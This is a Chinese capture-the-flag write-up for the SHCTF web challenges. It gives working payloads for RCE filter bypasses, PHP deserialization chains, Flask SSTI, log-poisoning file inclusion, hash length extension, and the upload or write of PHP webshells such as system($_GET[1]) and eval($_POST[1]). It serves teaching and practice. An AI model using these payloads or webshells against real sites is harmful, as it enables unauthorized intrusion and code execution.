[SHCTF]web方向wp
- [WEEK1]babyRCE
- 题目源码
- wp
- [WEEK1]1zzphp
- 题目源码
- wp
- [WEEK1]ez_serialize
- 题目源码
- wp
- [WEEK1]登录就给flag
- 题目
- wp
- [WEEK1]生成你的邀请函吧~
- 题目源码
- wp
- [WEEK1]飞机大战
- 题目
- wp
- [WEEK1]ezphp
- 题目源码
- wp
- [WEEK2]no_wake_up
- 题目源码
- wp
- [WEEK2]MD5的事就拜托了
- 题目源码
- wb
- [WEEK2]ez_ssti
- wp
- [WEEK2]EasyCMS
- wp
- [WEEK2]serialize
- 题目源码
- wp
- [WEEK2]ez_rce
- 题目源码
- wp
- [WEEK3]快问快答
- 题目源码
- wp
- [WEEK3]sseerriiaalliizzee
- 题目源码
- wp
- [WEEK3]gogogo
- 题目源码
- wp
[WEEK1]babyRCE
题目源码
<?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
}
wp
考点就是一些基本的rce绕过,这个payload用到了换行符绕过,空格绕过,通配符绕过
payload
url/?rce=ca\t${IFS}/f???
[WEEK1]1zzphp
题目源码
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{$code = (String)$_POST['c_ode'];$num=$_GET['num'];if(preg_match("/[0-9]/", $num)){die("no number!");}elseif(intval($num)){if(preg_match('/.+?SHCTF/is', $code)){die('no touch!');}if(stripos($code,'2023SHCTF') === FALSE){die('what do you want');}echo $flag;}
}
wp
考点就是正则匹配溢出,溢出的部分为2023SHCTF
,preg_match函数无法匹配溢出部分,但stripos函数可以匹配到,还有一个intval函数的简单绕过,由于溢出的字符串过长,这里直接使用脚本得到flag
payload
import requests
url='url/?num[]=1'
data={'c_ode':'very'*250000+'2023SHCTF'
}
r=requests.post(url,data=data)
print(r.text)
[WEEK1]ez_serialize
题目源码
<?php
highlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}
}class B{public $q;public function __wakeup()
{if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker"; }
}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['payload']))
{unserialize($_GET['payload']);
}
?>
wp
考点就是简单的反序列化以及pop链的构造,还有简单的文件包含绕过,如果没有学过可以了解相关知识后,认真分析一下这条pop链
pop链
<?php
highlight_file(__FILE__);class A{public $var_1="php://filter/read=convert.base64-encode/resource=flag.php"; //伪协议加密读取public function __invoke(){ include($this->var_1);}
}class B{public $q;public function __wakeup()
{if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker"; }
}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}
}
$b=new B();
$c=new C();
$b->q=$c;
$d=new D();
$c->z=$d;
$a=new A();
$d->p=$a;
echo(serialize($b));
?>
payload
url/?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}} //得到的flag需要base64解密
[WEEK1]登录就给flag
题目
进行burpsuite爆破即可
wp
payload
username: admin
password:password
[WEEK1]生成你的邀请函吧~
题目源码
API:url/generate_invitation
Request:POST application/json
Body:{ "name": "Yourname", "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}
wp
考点就是api接口的利用,用burpsuite抓包填入所需参数即可
payload
[WEEK1]飞机大战
题目
打开以下js源码
wp
经分析如果游戏通过,会调用won函数
然后在won函数中找到被加密的flag
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0031\u004d\u007a\u004d\u0034\u004d\u006d\u0056\u0069\u005a\u0053\u0030\u0079\u005a\u006a\u006b\u007a\u004c\u0054\u00054\u0046\u0039\u000a";
经分析,为Unicode编码,解码后为
ZmxhZ3s1MzM4MmViZS0yZjk
一眼看出为base64编码,最终解码为
flag{不要复制,自己去做}
[WEEK1]ezphp
题目源码
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{$pattern=$_POST['pattern'];if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code)){$code=$_GET['code'];preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);echo "you are smart";}else{die("try again");}
}else{die("it is begin");
}
?>
wp
考点就是 preg_replace /e代码执行,具体可以在网上搜一下,推荐看一下这篇文章https://www.cnblogs.com/sipc-love/p/14289984.html
payload
URL/?code=${phpinfo()}POST:
pattern=\S*
[WEEK2]no_wake_up
题目源码
<?php
highlight_file(__FILE__);
class flag{public $username;public $code;public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
unserialize($_GET['try']);
wp
考点就是一个简单的NGINX日志文件包含,看题目应该会有wakeup函数的绕过,但是貌似不需要绕过
首先需要在日志中存入执行代码
这里选择UA头
payload
<?php
highlight_file(__FILE__);
class flag{public $username=admin;public $code="/var/log/nginx/access.log";public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
$a=new flag();
echo(serialize($a));
url/wakeup.php?try=O:4:%22flag%22:2:{s:8:%22username%22;s:5:%22admin%22;s:4:%22code%22;s:25:%22/var/log/nginx/access.log%22;}
[WEEK2]MD5的事就拜托了
题目源码
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){extract(parse_url($_POST['SHCTF']));if($$$scheme==='SHCTF'){echo(md5($flag));echo("</br>");}if(isset($_GET['length'])){$num=$_GET['length'];if($num*100!=intval($num*100)){echo(strlen($flag));echo("</br>");}}
}
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}
wb
考点就是parse_url
和intval
函数的特性,和md5哈希长度扩展攻击
关于 parse_url
函数可以看下我的这篇文章
关于哈希长度拓展攻击可以看下这篇文章
payload1
获取flag的长度及其md5加密结果
url/?length=52.1111POST
SHCTF=user://pass:SHCTF@scheme
得到 md5加密的flag为452ff79df9b6fd13050a8add67f9c79b,长度为42
接下来使用哈希长度拓展攻击脚本生成payload
payload2
url/?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%0042POST
SHCTF=64d4c49aa3ca14297e2670871e8e17ec
[WEEK2]ez_ssti
wp
考点就是python flask模块的ssti
payload
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
[WEEK2]EasyCMS
wp
一个很简单的cms的弱口令+文件上传漏洞
访问/admin
账号 admin密码 tao
后台管理页面:
新建文件
文件写入一句话木马:
<?php system($_GET[1]);phpinfo();?>
访问
url/shell.php?1=cat /flag
[WEEK2]serialize
题目源码
<?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v;public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
function check($data){if(preg_match('/^O:\d+/',$data)){die("you should think harder!");}else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); <?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v;public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
function check($data){if(preg_match('/^O:\d+/',$data)){die("you should think harder!");}else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));
wp
考点就是反序列化pop链的构造,违规变量名的绕过,ArrayObject类绕过O开头正则匹配,还有引用绕过
一般绕O开头正则匹配 都是用O或a的冒号后的数字前可以加一个+来进行绕过,不过这个版本不行
pop链(运行的时候注意php版本,要为7.3.4)
<?php
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v="php://filter/read=convert.base64-encode/resource=flag.php";public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
$a= new ArrayObject;
$m1=new musca();
$m2=new milaoshu();
$m3=new misca();
$m1->ding=$m3;
$m3->gao=&$m3->a;
$m3->fei=$m2;
$a->a=$m1;
echo serialize($a);
phpinfo();
payload:
/?wanna[fl.ag=C:11:"ArrayObject":211:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:7;}s:4:"dong";N;}}}
[WEEK2]ez_rce
题目源码
from flask import *
import subprocessapp = Flask(__name__)def gett(obj,arg):tmp = objfor i in arg:tmp = getattr(tmp,i)return tmpdef sett(obj,arg,num):tmp = objfor i in range(len(arg)-1):tmp = getattr(tmp,arg[i]) //向上遍历到Popen函数setattr(tmp,arg[i+1],num) //重设shell值def hint(giveme,num,bol):c = gett(subprocess,giveme)tmp = list(c) //转列表tmp[num] = boltmp = tuple(tmp) //转元组sett(subprocess,giveme,tmp) //重设shell值def cmd(arg):subprocess.call(arg)@app.route('/',methods=['GET','POST'])
def exec():try:if request.args.get('exec')=='ok':shell = request.args.get('shell')cmd(shell)else:exp = list(request.get_json()['exp'])num = int(request.args.get('num'))bol = bool(request.args.get('bol'))hint(exp,num,bol)return 'ok'except:return 'error'if __name__ == '__main__':app.run(host='0.0.0.0',port=5000)
wp
考点是python的Subprocess模块(子流程)
该模块可以启动一个新进程,并连接到它们的输入/输出/错误管道,从而获取返回值
从题目中看我们的目的就是传入exec
和shell
参数,从而调用以下函数进行命令执行
def cmd(arg):subprocess.call(arg)
但是需要注意的是subprocess.call
函数是不会返回命令执行结果的,只会返回状态码,例如“ok”,而它的默认属性shell
的初始值为FALSE,只能以如下方式执行命令
/bin/cmd arg
这是最直接的命令执行方式,适合于执行单一的、简单的命令,不涉及到复杂的shell特性(例如管道符)其中arg是以数组形式存入的命令与参数
例如
subprocess.call(['ls', '-l'])
但是这种形式的命令执行是不能获取flag的,因为该函数没有回显,所以我们需要通过管道符将flag文件输出到文件中查看
而当shell
属性为TRUE时,则会以如下的方式执行命令
/bin/sh -c "$cmd"这个命令使用/bin/sh(一个Unix shell)来执行$cmd字符串中的命令。-c选项告诉shell要读取的是命令字符串,而不是从文件或标准输入中读取命令。这种方式的好处是可以执行复杂的命令和脚本,包括管道、重定向、环境变量等。例如,cmd="ls | grep .txt",然后/bin/sh -c "$cmd"就能执行这个包含管道的命令
例如
subprocess.call('ls -l | grep .py')
然后我们需要通过原型链污染将shell的值设为TRUE
进入下subprocess模块,看一下shell属性的位置,可以看到call函数最终调用的是Popen函数执行的命令,shell属性的位置在Popen函数的构造方法中,并且位置为 7
传入以下payload进行污染
在这里首先就要了解一个python对象的默认属性__defaults__
,这个属性会以元组形式存储函数定义时的默认变量值
这样我们就可以实现真正的命令执行了
payload
url?/shell=mkdir+./static;cat+/flag+/>./static/a.txt&exec=ok
[WEEK3]快问快答
题目源码
<body><h1>SHCTF 快问快答</h1><p class="message">连续答对50题得到flag<br></p class="message"><form method="POST"><h3>题目:7715 ÷ 2976 = ?</h3><!-- tips: "与" "异或" 就是二进制的"与" "异或" 运算 --><!-- 怕写成^ &不认识( --><input type="number" placeholder="请输入答案" name="answer" required><button type="submit">提交</button></form><p>你已经答对了0题</p><!-- 出错后成绩归零0 --><p class="message"></p class="message">
</body>
wp
该题的考点就是脚本的编写,由于每道题的提交时间都有限制,靠手工答是几乎不可能的
我的脚本
import requests
import time
import re
url = 'http://112.6.51.212:32921/'
session=requests.session()
def replace_operators(string):string = string.replace("异或", "^")string = string.replace("与", "&")string = string.replace("x", "*")string = string.replace("÷", "/")return string
times=0
timess=0.88
for i in range(1,1000):time.sleep(times)response = session.get(url)pattern = r"题目:(.*?)="match = re.search(pattern, response.text ) if match:expression = match.group(1).strip()answer=eval(replace_operators(expression))myData = { #构造的POST数据"answer":answer}time.sleep(timess)resusl = session.post(url, data=myData)if "50题" in resusl.text:print(resusl.text)exitprint(resusl.text)
再来看Nebula
师傅使用 selenium 库 模拟点击的脚本
思路很牛,学到了
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
url='http://112.6.51.212:32321/'#修改 url 地址即可
driver = webdriver.Edge() # 使用 Edge 浏览器,可以根据需要选择其他浏览器driver.maximize_window() #窗口最大化
driver.get(url)
#访问登录页面
for i in range(50):problem=driver.find_element(By.TAG_NAME,'h3').textproblem=problem[3:-3]print(problem)if '与' in problem:problem = problem.replace('与', '&')if '异或' in problem:problem = problem.replace('异或', '^')if '÷' in problem:problem = problem.replace('÷', '//')if 'x' in problem:problem = problem.replace('x', '*')#time.sleep(10)print('-------------------')result=eval(problem)print(result)print('-------------------')driver.find_element(By.TAG_NAME,'input').click()driver.find_element(By.TAG_NAME,'input').send_keys(result)time.sleep(1)driver.find_element(By.TAG_NAME,'button').click()a=driver.find_element(By.TAG_NAME,'p')
input("按 Enter 键关闭浏览器...")
[WEEK3]sseerriiaalliizzee
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>
wp
本题考点就是php://filter/write=convert.base64-decode/
base解码器绕过死亡拼接,还有简单的pop链绕过
我们来看这个方法
public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);
}
该函数会将我们所传入的shell代码前拼接上<?php die("+Genshin Impact Start!+");?>
,从而让我们的shell提前die,无法正常执行
而我们通过伪协议以base64加密的形式传入即可绕过,base64解密的规则是4个字符为一组,从而进行解密,拼接的<?php die("+Genshin Impact Start!+");?>
除去<?!“空格;这些不在base64表里的字符还剩下26个字符,然后我们需要在shell的base64值前加上两个字符,凑成4的倍数,这里我加的为"lr”
<?php
class Start{public $barking;public function __construct(){$this->barking = new CTF("php://filter/write=convert.base64-decode/resource=shell.php","lrPD9waHAgZXZhbCAoJF9QT1NUWzFdKTs/Pg==");}
}
class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}
}
$a=new Start;
echo serialize($a);
?>O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:5:"part2";s:38:"lrPD9waHAgZXZhbCAoJF9QT1NUWzFdKTs/Pg==";}}
[WEEK3]gogogo
题目源码
package mainimport ("main/route""github.com/gin-gonic/gin")func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/readflag", route.Readflag)r.Run("0.0.0.0:8000")
}
wp
首先来看下 Index函数
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {session.Values["name"] = "User"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, User. How to become admin?")}
可以看到假如 session 的值不为admin的话,就会执行http.Error函数,运行结束,无法接着执行下面的readflag函数,这里我们需要获取值为 admin 的session,我们改动一下这个代码,然后本地运行
if session.Values["name"] == nil {session.Values["name"] = "admin"
得到session
MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==
然后再来看一下 readflag.go 文件
package readfileimport ("os/exec"
)func ReadFile(path string) (string2 []byte) {defer func() {panic_err := recover()if panic_err != nil {}}()cmd := exec.Command("bash", "-c", "strings "+path) //根据传入的path路径,读取flagstring2, err := cmd.Output()if err != nil {string2 = []byte("文件不存在")}return string2
}
再看一下正则过滤
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)if reg.MatchString(path) {http.Error(c.Writer, "nonono", http.StatusInternalServerError)return
}var data []byte
if path != "" {data = readfile.ReadFile(path)
} else {data = []byte("请传入参数")
}
可以看到没有过滤小写字母a还有问号,这种情况一般都是使用通配符绕过 ??a?
payload
import requests
cookies = {'session-name': 'MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==',
}
print(requests.get('url/readflag?filename=/??a?', cookies=cookies).text)